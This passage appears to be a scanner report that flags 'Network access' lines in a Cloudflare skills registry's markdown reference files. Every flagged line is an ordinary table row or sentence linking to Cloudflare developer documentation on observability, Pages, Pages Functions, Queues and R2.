    | --- | --- | | Emit console messages and check supported methods | [Console API](https://developers.cloudflare.com/workers/runtime-apis/console/index.md) | | Filter, group, and aggregate stored Workers Logs | [Query Builder](https://develo
  • Network accessline 7
    | Emit console messages and check supported methods | [Console API](https://developers.cloudflare.com/workers/runtime-apis/console/index.md) |
  • Network accessline 8
    | Filter, group, and aggregate stored Workers Logs | [Query Builder](https://developers.cloudflare.com/workers/observability/query-builder/index.md) |
  • Network accessline 9
    | Query built-in Workers metrics with GraphQL | [Querying Workers metrics](https://developers.cloudflare.com/analytics/graphql-api/tutorials/querying-workers-metrics/index.md) |
  • Network accessline 10
    | Define Analytics Engine fields and call `writeDataPoint()` | [Write data points](https://developers.cloudflare.com/analytics/analytics-engine/get-started/index.md) |
  • Network accessline 11
    | Authenticate and query Analytics Engine datasets | [SQL API](https://developers.cloudflare.com/analytics/analytics-engine/sql-api/index.md) |
  • Network accessline 12
    | Calculate counts, sums, and averages on sampled events | [Analytics Engine sampling](https://developers.cloudflare.com/analytics/analytics-engine/sampling/index.md) |
  • Network accessline 13
    | Implement a Tail consumer and inspect event properties | [Tail handler API](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md) |
  • Network accessline 14
    | Create and manage Logpush jobs | [Logpush API configuration](https://developers.cloudflare.com/logs/logpush/logpush-job/api-configuration/index.md) |
  • Network accessline 15
    | Select exported Workers event fields | [Workers Trace Events dataset](https://developers.cloudflare.com/logs/logpush/logpush-job/datasets/account/workers_trace_events/index.md) |
  • Network accessline 16
    | Export OTLP logs and traces | [OpenTelemetry export](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) |

packages/autoskills/skills-registry/cloudflare/references/observability/configuration.md

  • Network accessline 5
    | Task | Maintained documentation | | --- | --- | | Enable persisted logs, structured JSON logging, and sampling | [Workers Logs](https://developers.cloudflare.com/workers/observability/logs/workers-logs/index.md) |
  • Network accessline 6
    | --- | --- | | Enable persisted logs, structured JSON logging, and sampling | [Workers Logs](https://developers.cloudflare.com/workers/observability/logs/workers-logs/index.md) | | Enable traces and set their sampling independently of logs
  • Network accessline 7
    | Enable persisted logs, structured JSON logging, and sampling | [Workers Logs](https://developers.cloudflare.com/workers/observability/logs/workers-logs/index.md) |
  • Network accessline 8
    | Enable traces and set their sampling independently of logs | [Workers Traces](https://developers.cloudflare.com/workers/observability/traces/index.md) |
  • Network accessline 9
    | Configure a named deployment environment | [Wrangler environments](https://developers.cloudflare.com/workers/wrangler/environments/index.md) and the environment example in [Workers Logs](https://developers.cloudflare.com/workers/observabi
  • Network accessline 10
    | Bind an Analytics Engine dataset and write its first data point | [Analytics Engine get started](https://developers.cloudflare.com/analytics/analytics-engine/get-started/index.md) |
  • Network accessline 11
    | Connect a producer to a Tail Worker | [Configure Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md) |
  • Network accessline 12
    | Create a Logpush job, configure access, and enable Worker log delivery | [Workers Logpush](https://developers.cloudflare.com/workers/observability/logs/logpush/index.md) |
  • Network accessline 13
    | Configure OTLP destinations, authentication, and local persistence | [OpenTelemetry export](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) for destinations and authentication, and [Workers OpenTelemetry exp

packages/autoskills/skills-registry/cloudflare/references/observability/gotchas.md

  • Network accessline 5
    | Symptom | Check and authoritative guide | | --- | --- | | Logs missing from the dashboard | Confirm the deployed Worker/environment, collection and persistence settings, recent traffic, query time range, and sampling. Follow [Workers Logs
  • Network accessline 6
    | --- | --- | | Logs missing from the dashboard | Confirm the deployed Worker/environment, collection and persistence settings, recent traffic, query time range, and sampling. Follow [Workers Logs](https://developers.cloudflare.com/workers/
  • Network accessline 7
    | Logs missing from the dashboard | Confirm the deployed Worker/environment, collection and persistence settings, recent traffic, query time range, and sampling. Follow [Workers Logs](https://developers.cloudflare.com/workers/observability/
  • Network accessline 8
    | Live logs differ from stored logs | Confirm which workflow is being inspected; live streams can sample under load. See [real-time logs](https://developers.cloudflare.com/workers/observability/logs/real-time-logs/index.md). |
  • Network accessline 9
    | Traces missing or incomplete | Check trace enablement and sampling separately from logs, then consult [tracing setup](https://developers.cloudflare.com/workers/observability/traces/index.md) and [known limitations](https://developers.clou
  • Network accessline 10
    | Export destination has no data | Check signal type, destination name, credentials, endpoint compatibility, and provider status using [OpenTelemetry export](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) and
  • Network accessline 11
    | Tail consumer receives no events | Check the producer's consumer configuration and deployment using [Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md). |
  • Network accessline 12
    | Analytics Engine totals or averages look wrong | Account for sample weights and consistent field meanings using [sampling guidance](https://developers.cloudflare.com/analytics/analytics-engine/sampling/index.md). Check [limits](https://de
  • Network accessline 13
    | Very short operations appear to take no time | Read [performance and timers](https://developers.cloudflare.com/workers/runtime-apis/performance/index.md) and [trace limitations](https://developers.cloudflare.com/workers/observability/trac
  • Network accessline 19
    - [Workers Logs](https://developers.cloudflare.com/workers/observability/logs/workers-logs/index.md): log size, retention, sampling, and pricing.
  • Network accessline 20
    - [Workers Traces](https://developers.cloudflare.com/workers/observability/traces/index.md) and [known limitations](https://developers.cloudflare.com/workers/observability/traces/known-limitations/index.md): availability, propagation, and i
  • Network accessline 21
    - [Workers pricing](https://developers.cloudflare.com/workers/platform/pricing/index.md): current observability and Tail Worker billing terms.
  • Network accessline 22
    - [Analytics Engine limits](https://developers.cloudflare.com/analytics/analytics-engine/limits/index.md) and [pricing](https://developers.cloudflare.com/analytics/analytics-engine/pricing/index.md): field/write limits, retention, query cos
  • Network accessline 23
    - [Workers Logpush](https://developers.cloudflare.com/workers/observability/logs/logpush/index.md): Workers-specific eligibility, permissions, and pricing.

packages/autoskills/skills-registry/cloudflare/references/observability/patterns.md

  • Network accessline 5
    | Task | Design decision and documentation | | --- | --- | | Usage-based billing | Define the billable event, tenant identity, time window, and accuracy requirements. Start with the maintained [Analytics Engine billing recipe](https://devel
  • Network accessline 6
    | --- | --- | | Usage-based billing | Define the billable event, tenant identity, time window, and accuracy requirements. Start with the maintained [Analytics Engine billing recipe](https://developers.cloudflare.com/analytics/analytics-engi
  • Network accessline 7
    | Usage-based billing | Define the billable event, tenant identity, time window, and accuracy requirements. Start with the maintained [Analytics Engine billing recipe](https://developers.cloudflare.com/analytics/analytics-engine/recipes/usa
  • Network accessline 8
    | Performance monitoring | Use [built-in metrics](https://developers.cloudflare.com/workers/observability/metrics-and-analytics/index.md) for aggregate health and [traces](https://developers.cloudflare.com/workers/observability/traces/index
  • Network accessline 9
    | Error tracking | Emit structured context without secrets, investigate with [Query Builder](https://developers.cloudflare.com/workers/observability/query-builder/index.md), and choose [Tail Workers](https://developers.cloudflare.com/worker
  • Network accessline 10
    | Multi-tenant tracking | Choose the tenant dimension and consistent field positions using [Analytics Engine get started](https://developers.cloudflare.com/analytics/analytics-engine/get-started/index.md) and [sampling guidance](https://dev
  • Network accessline 11
    | Tail Worker filtering | Use the current [Tail handler schema](https://developers.cloudflare.com/workers/runtime-apis/handlers/tail/index.md) for outcomes, exceptions, and timing fields, with [Tail configuration](https://developers.cloudfl
  • Network accessline 12
    | OpenTelemetry export | Prefer the maintained [OTLP export integration](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) for supported destinations. For Honeycomb, follow [Export to Honeycomb](https://develope
  • Network accessline 14
    Use [Workers Logpush](https://developers.cloudflare.com/workers/observability/logs/logpush/index.md) when the requirement is Workers Trace Event delivery to a supported log destination. Use a Tail Worker when custom processing is required b

packages/autoskills/skills-registry/cloudflare/references/pages-functions/README.md

  • Network accessline 3
    Use this reference for server-side behavior in an existing Pages project. For new applications, follow the Workers recommendation in the [Pages framework guidance](https://developers.cloudflare.com/pages/framework-guides/index.md).
  • Network accessline 5
    | Task | Documentation | | --- | --- | | Identify filesystem routes and invocation boundaries | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) |
  • Network accessline 6
    | --- | --- | | Identify filesystem routes and invocation boundaries | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) | | Implement request handlers | [API reference](https://developers.cloudflare.com/pages/fu
  • Network accessline 7
    | Identify filesystem routes and invocation boundaries | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) |
  • Network accessline 8
    | Implement request handlers | [API reference](https://developers.cloudflare.com/pages/functions/api-reference/index.md) |
  • Network accessline 9
    | Understand generated Worker output | [Advanced mode](https://developers.cloudflare.com/pages/functions/advanced-mode/index.md) |

packages/autoskills/skills-registry/cloudflare/references/pages-functions/api.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Choose method handlers and access EventContext | [API reference](https://developers.cloudflare.com/pages/functions/api-reference/index.md) |
  • Network accessline 6
    | --- | --- | | Choose method handlers and access EventContext | [API reference](https://developers.cloudflare.com/pages/functions/api-reference/index.md) | | Read parameters and resolve dynamic routes | [Routing](https://developers.cloudfl
  • Network accessline 7
    | Choose method handlers and access EventContext | [API reference](https://developers.cloudflare.com/pages/functions/api-reference/index.md) |
  • Network accessline 8
    | Read parameters and resolve dynamic routes | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) |
  • Network accessline 9
    | Compose middleware and continue a request | [Middleware](https://developers.cloudflare.com/pages/functions/middleware/index.md) | | Use a supported resource binding | [Bindings](https://developers.cloudflare.com/pages/functions/bindings/i
  • Network accessline 10
    | Use a supported resource binding | [Bindings](https://developers.cloudflare.com/pages/functions/bindings/index.md) |
  • Network accessline 11
    | Handle requests through generated Worker output | [Advanced mode](https://developers.cloudflare.com/pages/functions/advanced-mode/index.md) |

packages/autoskills/skills-registry/cloudflare/references/pages-functions/configuration.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Manage Wrangler settings and environment overrides | [Functions configuration](https://developers.cloudflare.com/pages/functions/wrangler-configuration/index.md) |
  • Network accessline 6
    | --- | --- | | Manage Wrangler settings and environment overrides | [Functions configuration](https://developers.cloudflare.com/pages/functions/wrangler-configuration/index.md) | | Configure supported bindings, variables, and secrets | [Bi
  • Network accessline 7
    | Manage Wrangler settings and environment overrides | [Functions configuration](https://developers.cloudflare.com/pages/functions/wrangler-configuration/index.md) |
  • Network accessline 8
    | Configure supported bindings, variables, and secrets | [Bindings](https://developers.cloudflare.com/pages/functions/bindings/index.md) |
  • Network accessline 9
    | Generate and configure runtime and environment types | [TypeScript](https://developers.cloudflare.com/pages/functions/typescript/index.md) |
  • Network accessline 10
    | Run assets and Functions locally | [Local development](https://developers.cloudflare.com/pages/functions/local-development/index.md) |
  • Network accessline 11
    | Set Function invocation routes | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) |
  • Network accessline 12
    | Evaluate and enable placement | [Smart Placement](https://developers.cloudflare.com/pages/functions/smart-placement/index.md) |

packages/autoskills/skills-registry/cloudflare/references/pages-functions/gotchas.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | A Function does not run or receives unexpected parameters | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) |
  • Network accessline 6
    | --- | --- | | A Function does not run or receives unexpected parameters | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) | | Middleware is skipped or static fallback fails | [Advanced mode](https://developer
  • Network accessline 7
    | A Function does not run or receives unexpected parameters | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) |
  • Network accessline 8
    | Middleware is skipped or static fallback fails | [Advanced mode](https://developers.cloudflare.com/pages/functions/advanced-mode/index.md) |
  • Network accessline 9
    | Middleware order or scope is incorrect | [Middleware](https://developers.cloudflare.com/pages/functions/middleware/index.md) |
  • Network accessline 10
    | Bindings or secrets differ between environments | [Bindings](https://developers.cloudflare.com/pages/functions/bindings/index.md) |
  • Network accessline 11
    | Runtime or environment types do not match | [TypeScript](https://developers.cloudflare.com/pages/functions/typescript/index.md) |
  • Network accessline 12
    | A local request behaves differently | [Local development](https://developers.cloudflare.com/pages/functions/local-development/index.md) |
  • Network accessline 13
    | Inspect exceptions and deployment logs | [Debugging and logging](https://developers.cloudflare.com/pages/functions/debugging-and-logging/index.md) |
  • Network accessline 14
    | Check runtime quotas | [Workers limits](https://developers.cloudflare.com/workers/platform/limits/index.md) |
  • Network accessline 15
    | Check request costs | [Functions pricing](https://developers.cloudflare.com/pages/functions/pricing/index.md) |

packages/autoskills/skills-registry/cloudflare/references/pages-functions/patterns.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Share authentication, logging, and error handling | [Middleware](https://developers.cloudflare.com/pages/functions/middleware/index.md) |
  • Network accessline 6
    | --- | --- | | Share authentication, logging, and error handling | [Middleware](https://developers.cloudflare.com/pages/functions/middleware/index.md) | | Choose request handlers and asynchronous completion behavior | [API reference](https
  • Network accessline 7
    | Share authentication, logging, and error handling | [Middleware](https://developers.cloudflare.com/pages/functions/middleware/index.md) | | Choose request handlers and asynchronous completion behavior | [API reference](https://developers.
  • Network accessline 8
    | Choose request handlers and asynchronous completion behavior | [API reference](https://developers.cloudflare.com/pages/functions/api-reference/index.md) | | Keep asset requests outside Function invocation where appropriate | [Routing](htt
  • Network accessline 9
    | Keep asset requests outside Function invocation where appropriate | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) |
  • Network accessline 10
    | Use custom or framework-generated routing | [Advanced mode](https://developers.cloudflare.com/pages/functions/advanced-mode/index.md) |
  • Network accessline 11
    | Integrate storage or another service | [Bindings](https://developers.cloudflare.com/pages/functions/bindings/index.md) |
  • Network accessline 12
    | Exercise the assembled application locally | [Local development](https://developers.cloudflare.com/pages/functions/local-development/index.md) |

packages/autoskills/skills-registry/cloudflare/references/pages/README.md

  • Network accessline 3
    Use this reference when maintaining an existing Pages project. For new applications, start with Workers as recommended in the [Pages framework guidance](https://developers.cloudflare.com/pages/framework-guides/index.md). Fetch current docum
  • Network accessline 5
    | Task | Documentation | | --- | --- | | Configure the existing build | [Build configuration](https://developers.cloudflare.com/pages/configuration/build-configuration/index.md) |
  • Network accessline 6
    | --- | --- | | Configure the existing build | [Build configuration](https://developers.cloudflare.com/pages/configuration/build-configuration/index.md) | | Manage automatic deployments from a repository | [Git integration](https://develope
  • Network accessline 7
    | Configure the existing build | [Build configuration](https://developers.cloudflare.com/pages/configuration/build-configuration/index.md) |
  • Network accessline 8
    | Manage automatic deployments from a repository | [Git integration](https://developers.cloudflare.com/pages/configuration/git-integration/index.md) | | Deploy prebuilt output | [Direct Upload](https://developers.cloudflare.com/pages/get-st
  • Network accessline 9
    | Deploy prebuilt output | [Direct Upload](https://developers.cloudflare.com/pages/get-started/direct-upload/index.md) | | Implement server-side requests | [Functions API reference](https://developers.cloudflare.com/pages/functions/api-refe
  • Network accessline 10
    | Implement server-side requests | [Functions API reference](https://developers.cloudflare.com/pages/functions/api-reference/index.md) |
  • Network accessline 11
    | Plan a move to Workers | [Migrate from Pages to Workers](https://developers.cloudflare.com/workers/static-assets/migration-guides/migrate-from-pages/index.md) |

packages/autoskills/skills-registry/cloudflare/references/pages/api.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Implement handlers and use context or asset fallback | [Functions API reference](https://developers.cloudflare.com/pages/functions/api-reference/index.md) |
  • Network accessline 6
    | --- | --- | | Implement handlers and use context or asset fallback | [Functions API reference](https://developers.cloudflare.com/pages/functions/api-reference/index.md) | | Resolve dynamic paths and invocation routes | [Routing](https://d
  • Network accessline 7
    | Implement handlers and use context or asset fallback | [Functions API reference](https://developers.cloudflare.com/pages/functions/api-reference/index.md) |
  • Network accessline 8
    | Resolve dynamic paths and invocation routes | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) |
  • Network accessline 9
    | Apply shared request logic | [Middleware](https://developers.cloudflare.com/pages/functions/middleware/index.md) |
  • Network accessline 10
    | Understand framework-generated Worker output | [Advanced mode](https://developers.cloudflare.com/pages/functions/advanced-mode/index.md) |
  • Network accessline 11
    | Find the guide for the existing framework | [Framework guides](https://developers.cloudflare.com/pages/framework-guides/index.md) |

packages/autoskills/skills-registry/cloudflare/references/pages/configuration.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Set build commands, root/output directories, and build variables | [Build configuration](https://developers.cloudflare.com/pages/configuration/build-configuration/index.md) |
  • Network accessline 6
    | --- | --- | | Set build commands, root/output directories, and build variables | [Build configuration](https://developers.cloudflare.com/pages/configuration/build-configuration/index.md) | | Manage Wrangler configuration, environments, an
  • Network accessline 7
    | Set build commands, root/output directories, and build variables | [Build configuration](https://developers.cloudflare.com/pages/configuration/build-configuration/index.md) |
  • Network accessline 8
    | Manage Wrangler configuration, environments, and dashboard migration | [Functions configuration](https://developers.cloudflare.com/pages/functions/wrangler-configuration/index.md) |
  • Network accessline 9
    | Configure resource bindings, variables, and secrets | [Bindings](https://developers.cloudflare.com/pages/functions/bindings/index.md) |
  • Network accessline 10
    | Set static response headers | [Headers](https://developers.cloudflare.com/pages/configuration/headers/index.md) | | Configure static redirects and rewrites | [Redirects](https://developers.cloudflare.com/pages/configuration/redirects/inde
  • Network accessline 11
    | Configure static redirects and rewrites | [Redirects](https://developers.cloudflare.com/pages/configuration/redirects/index.md) | | Choose which requests invoke Functions | [Routing](https://developers.cloudflare.com/pages/functions/routi
  • Network accessline 12
    | Choose which requests invoke Functions | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) |
  • Network accessline 13
    | Configure monorepo project boundaries | [Monorepos](https://developers.cloudflare.com/pages/configuration/monorepos/index.md) |
  • Network accessline 14
    | Run the project locally | [Local development](https://developers.cloudflare.com/pages/functions/local-development/index.md) |

packages/autoskills/skills-registry/cloudflare/references/pages/gotchas.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Build output is missing or incorrect | [Build configuration](https://developers.cloudflare.com/pages/configuration/build-configuration/index.md) |
  • Network accessline 6
    | --- | --- | | Build output is missing or incorrect | [Build configuration](https://developers.cloudflare.com/pages/configuration/build-configuration/index.md) | | A static URL redirects or returns an unexpected 404 | [Serving Pages](https
  • Network accessline 7
    | Build output is missing or incorrect | [Build configuration](https://developers.cloudflare.com/pages/configuration/build-configuration/index.md) |
  • Network accessline 8
    | A static URL redirects or returns an unexpected 404 | [Serving Pages](https://developers.cloudflare.com/pages/configuration/serving-pages/index.md) |
  • Network accessline 9
    | Static response headers are not applied | [Headers](https://developers.cloudflare.com/pages/configuration/headers/index.md) |
  • Network accessline 10
    | A redirect rule does not match | [Redirects](https://developers.cloudflare.com/pages/configuration/redirects/index.md) |
  • Network accessline 11
    | Investigate a failed Function request | [Debugging and logging](https://developers.cloudflare.com/pages/functions/debugging-and-logging/index.md) |
  • Network accessline 12
    | Check deployment and file capacity | [Pages limits](https://developers.cloudflare.com/pages/platform/limits/index.md) |
  • Network accessline 13
    | Understand Function versus static request billing | [Functions pricing](https://developers.cloudflare.com/pages/functions/pricing/index.md) |
  • Network accessline 19
    Fetch the relevant [framework guide](https://developers.cloudflare.com/pages/framework-guides/index.md) before changing adapters or recommending another host. For a move to Workers, follow the [migration guide](https://developers.cloudflare

packages/autoskills/skills-registry/cloudflare/references/pages/patterns.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Maintain a framework deployment | [Framework guides](https://developers.cloudflare.com/pages/framework-guides/index.md) |
  • Network accessline 6
    | --- | --- | | Maintain a framework deployment | [Framework guides](https://developers.cloudflare.com/pages/framework-guides/index.md) | | Deploy from an external build pipeline | [Direct Upload](https://developers.cloudflare.com/pages/get
  • Network accessline 7
    | Maintain a framework deployment | [Framework guides](https://developers.cloudflare.com/pages/framework-guides/index.md) |
  • Network accessline 8
    | Deploy from an external build pipeline | [Direct Upload](https://developers.cloudflare.com/pages/get-started/direct-upload/index.md) |
  • Network accessline 9
    | Manage multiple apps in one repository | [Monorepos](https://developers.cloudflare.com/pages/configuration/monorepos/index.md) |
  • Network accessline 10
    | Evaluate backend locality | [Smart Placement](https://developers.cloudflare.com/pages/functions/smart-placement/index.md) |
  • Network accessline 11
    | Plan a move to Workers | [Migrate from Pages to Workers](https://developers.cloudflare.com/workers/static-assets/migration-guides/migrate-from-pages/index.md) |

packages/autoskills/skills-registry/cloudflare/references/queues/README.md

  • Network accessline 13
    See [How Queues works](https://developers.cloudflare.com/queues/reference/how-queues-works/index.md) and [delivery guarantees](https://developers.cloudflare.com/queues/reference/delivery-guarantees/index.md) before choosing ordering or dedu
  • Network accessline 24
    For a first application, fetch [Getting started](https://developers.cloudflare.com/queues/get-started/index.md). Retrieve [limits](https://developers.cloudflare.com/queues/platform/limits/index.md) and [pricing](https://developers.cloudflar

packages/autoskills/skills-registry/cloudflare/references/queues/api.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Send individual messages or batches; choose encoding; implement a typed Worker queue handler; dispatch by queue name | [JavaScript APIs](https://developers.cloudflare.com/queues/configurat
  • Network accessline 6
    |------|---------------| | Send individual messages or batches; choose encoding; implement a typed Worker queue handler; dispatch by queue name | [JavaScript APIs](https://developers.cloudflare.com/queues/configuration/javascript-apis/index
  • Network accessline 7
    | Send individual messages or batches; choose encoding; implement a typed Worker queue handler; dispatch by queue name | [JavaScript APIs](https://developers.cloudflare.com/queues/configuration/javascript-apis/index.md) |
  • Network accessline 8
    | Understand automatic acknowledgement, explicit per-message and batch actions, precedence, delivery failures, delays, and backoff | [Batching, retries, and delays](https://developers.cloudflare.com/queues/configuration/batching-retries/ind
  • Network accessline 9
    | Pull over HTTP and acknowledge or retry using leases | [Pull consumers](https://developers.cloudflare.com/queues/configuration/pull-consumers/index.md) |
  • Network accessline 10
    | Publish from outside Workers | [Publish to a Queue via HTTP](https://developers.cloudflare.com/queues/examples/publish-to-a-queue-via-http/index.md) |

packages/autoskills/skills-registry/cloudflare/references/queues/configuration.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Create a queue and connect producer and consumer Workers | [Getting started](https://developers.cloudflare.com/queues/get-started/index.md) |
  • Network accessline 6
    |------|---------------| | Create a queue and connect producer and consumer Workers | [Getting started](https://developers.cloudflare.com/queues/get-started/index.md) | | Configure producer bindings, Worker consumers, retention, and concurr
  • Network accessline 7
    | Create a queue and connect producer and consumer Workers | [Getting started](https://developers.cloudflare.com/queues/get-started/index.md) |
  • Network accessline 8
    | Configure producer bindings, Worker consumers, retention, and concurrency settings | [Configure Queues](https://developers.cloudflare.com/queues/configuration/configure-queues/index.md) |
  • Network accessline 9
    | Configure an external HTTP consumer and its visibility timeout | [Pull consumers](https://developers.cloudflare.com/queues/configuration/pull-consumers/index.md) |
  • Network accessline 10
    | Choose batching, retry policy, or delivery delays | [Batching, retries, and delays](https://developers.cloudflare.com/queues/configuration/batching-retries/index.md) |
  • Network accessline 11
    | Preserve messages that exhaust retries | [Dead Letter Queues](https://developers.cloudflare.com/queues/configuration/dead-letter-queues/index.md) |
  • Network accessline 12
    | Set consumer scaling for downstream capacity | [Consumer concurrency](https://developers.cloudflare.com/queues/configuration/consumer-concurrency/index.md) |
  • Network accessline 13
    | Choose content types and type Worker messages | [JavaScript APIs](https://developers.cloudflare.com/queues/configuration/javascript-apis/index.md) |
  • Network accessline 14
    | Create, update, attach, remove, or delete queues and consumers | [Wrangler commands](https://developers.cloudflare.com/queues/reference/wrangler-commands/index.md) |
  • Network accessline 15
    | Pause delivery, resume it, or purge messages | [Pause and purge](https://developers.cloudflare.com/queues/configuration/pause-purge/index.md) |
  • Network accessline 16
    | Develop and test producers and consumers locally | [Local development](https://developers.cloudflare.com/queues/configuration/local-development/index.md) |
  • Network accessline 20
    Fetch [limits](https://developers.cloudflare.com/queues/platform/limits/index.md) and [pricing](https://developers.cloudflare.com/queues/platform/pricing/index.md) for the account's plan before selecting retention, delays, or capacity. Do n

packages/autoskills/skills-registry/cloudflare/references/queues/gotchas.md

  • Network accessline 5
    | Symptom or question | Documentation and decision | |---------------------|----------------------------| | Successful work repeats after another message fails | Read [acknowledgement and retry rules](https://developers.cloudflare.com/queue
  • Network accessline 6
    |---------------------|----------------------------| | Successful work repeats after another message fails | Read [acknowledgement and retry rules](https://developers.cloudflare.com/queues/configuration/batching-retries/index.md); use per-m
  • Network accessline 7
    | Successful work repeats after another message fails | Read [acknowledgement and retry rules](https://developers.cloudflare.com/queues/configuration/batching-retries/index.md); use per-message outcomes for independent work. |
  • Network accessline 8
    | A caught failure disappears instead of retrying | Read [handler lifecycle and APIs](https://developers.cloudflare.com/queues/configuration/javascript-apis/index.md); returning successfully can acknowledge messages. Explicitly retry failed
  • Network accessline 9
    | Duplicate processing | Read [delivery guarantees](https://developers.cloudflare.com/queues/reference/delivery-guarantees/index.md); enforce idempotency at the side-effect destination. |
  • Network accessline 10
    | Pull consumers cannot decode payloads | Check [pull consumer encoding](https://developers.cloudflare.com/queues/configuration/pull-consumers/index.md) and [content types](https://developers.cloudflare.com/queues/configuration/javascript-a
  • Network accessline 11
    | Messages stop arriving or backlog grows | Check [consumer configuration](https://developers.cloudflare.com/queues/configuration/configure-queues/index.md), [pause state](https://developers.cloudflare.com/queues/configuration/pause-purge/i
  • Network accessline 12
    | Dead-letter volume rises or messages disappear after retries | Read [Dead Letter Queues](https://developers.cloudflare.com/queues/configuration/dead-letter-queues/index.md); inspect failures and plan recovery before increasing retries. |
  • Network accessline 13
    | API errors, resource exhaustion, or CPU failures | Read [error codes](https://developers.cloudflare.com/queues/reference/error-codes/index.md), [limits](https://developers.cloudflare.com/queues/platform/limits/index.md), and [consumer con
  • Network accessline 14
    | Retention, delay, throughput, or cost assumptions no longer hold | Retrieve current [limits](https://developers.cloudflare.com/queues/platform/limits/index.md) and [pricing](https://developers.cloudflare.com/queues/platform/pricing/index.

packages/autoskills/skills-registry/cloudflare/references/queues/patterns.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Accept requests and enqueue asynchronous tasks; publish to multiple queues | [Publish to a Queue via Workers](https://developers.cloudflare.com/queues/examples/publish-to-a-queue-via-worke
  • Network accessline 6
    |------|---------------| | Accept requests and enqueue asynchronous tasks; publish to multiple queues | [Publish to a Queue via Workers](https://developers.cloudflare.com/queues/examples/publish-to-a-queue-via-workers/index.md) | | Buffer w
  • Network accessline 7
    | Accept requests and enqueue asynchronous tasks; publish to multiple queues | [Publish to a Queue via Workers](https://developers.cloudflare.com/queues/examples/publish-to-a-queue-via-workers/index.md) |
  • Network accessline 8
    | Buffer writes to an external API or defer a job | [Batching, retries, and delays](https://developers.cloudflare.com/queues/configuration/batching-retries/index.md) |
  • Network accessline 9
    | Handle upstream rate limits and backpressure | [Handle rate limits of external APIs](https://developers.cloudflare.com/queues/tutorials/handle-rate-limits/index.md) and [consumer concurrency](https://developers.cloudflare.com/queues/confi
  • Network accessline 10
    | Isolate workloads with different latency or capacity needs | [Configure Queues](https://developers.cloudflare.com/queues/configuration/configure-queues/index.md) |
  • Network accessline 11
    | Retain exhausted retries for inspection and recovery | [Dead Letter Queues](https://developers.cloudflare.com/queues/configuration/dead-letter-queues/index.md) |
  • Network accessline 12
    | Process R2 object events | [R2 event notifications](https://developers.cloudflare.com/r2/buckets/event-notifications/index.md) |
  • Network accessline 13
    | Batch output into R2 | [Use Queues to store data in R2](https://developers.cloudflare.com/queues/examples/send-errors-to-r2/index.md) |
  • Network accessline 14
    | Batch writes into D1 | [D1 database API](https://developers.cloudflare.com/d1/worker-api/d1-database/index.md) |
  • Network accessline 15
    | Start durable multi-step jobs | [Trigger Workflows](https://developers.cloudflare.com/workflows/build/trigger-workflows/index.md) | | Publish from a Durable Object | [Use Queues from Durable Objects](https://developers.cloudflare.com/queu
  • Network accessline 16
    | Publish from a Durable Object | [Use Queues from Durable Objects](https://developers.cloudflare.com/queues/examples/use-queues-with-durable-objects/index.md) |
  • Network accessline 17
    | Route consumer work to a Durable Object | [Invoke Durable Object methods](https://developers.cloudflare.com/durable-objects/best-practices/create-durable-object-stubs-and-send-requests/index.md) |
  • Network accessline 19
    Design side effects for [at-least-once delivery](https://developers.cloudflare.com/queues/reference/delivery-guarantees/index.md). A separate check-then-write deduplication flag is not an atomic guarantee: concurrent delivery or a crash bet

packages/autoskills/skills-registry/cloudflare/references/r2/README.md

  • Network accessline 7
    - Use a Workers binding for object access inside a Worker: [Workers API setup](https://developers.cloudflare.com/r2/get-started/workers-api/index.md).
  • Network accessline 8
    - Use the S3-compatible API for existing S3 clients or direct client access through presigned URLs: [S3 setup](https://developers.cloudflare.com/r2/get-started/s3/index.md). Check supported operations rather than assuming full S3 parity.
  • Network accessline 20
    For other topics, discover pages through the [R2 documentation index](https://developers.cloudflare.com/r2/llms.txt). Check [pricing](https://developers.cloudflare.com/r2/pricing/index.md) before estimating costs.
  • Network accessline 24
    - [Workers](https://developers.cloudflare.com/workers/index.md) for request handling.

packages/autoskills/skills-registry/cloudflare/references/r2/api.md

  • Network accessline 5
    | Task | Current documentation | |------|-----------------------| | Read, write, inspect, delete, or list objects; metadata, checksums, ranges, and return types | [Workers API reference](https://developers.cloudflare.com/r2/api/workers/work
  • Network accessline 6
    |------|-----------------------| | Read, write, inspect, delete, or list objects; metadata, checksums, ranges, and return types | [Workers API reference](https://developers.cloudflare.com/r2/api/workers/workers-api-reference/index.md) | | I
  • Network accessline 7
    | Read, write, inspect, delete, or list objects; metadata, checksums, ranges, and return types | [Workers API reference](https://developers.cloudflare.com/r2/api/workers/workers-api-reference/index.md) |
  • Network accessline 8
    | Implement a Worker that serves or writes objects | [Use R2 from Workers](https://developers.cloudflare.com/r2/api/workers/workers-api-usage/index.md) |
  • Network accessline 9
    | Create, resume, complete, or abort multipart uploads | [Multipart Worker and client example](https://developers.cloudflare.com/r2/api/workers/workers-multipart-usage/index.md) |
  • Network accessline 10
    | Check supported S3 operations and headers | [S3 compatibility](https://developers.cloudflare.com/r2/api/s3/api/index.md) | | Configure an S3 JavaScript client | [AWS SDK for JavaScript v3](https://developers.cloudflare.com/r2/examples/aws
  • Network accessline 11
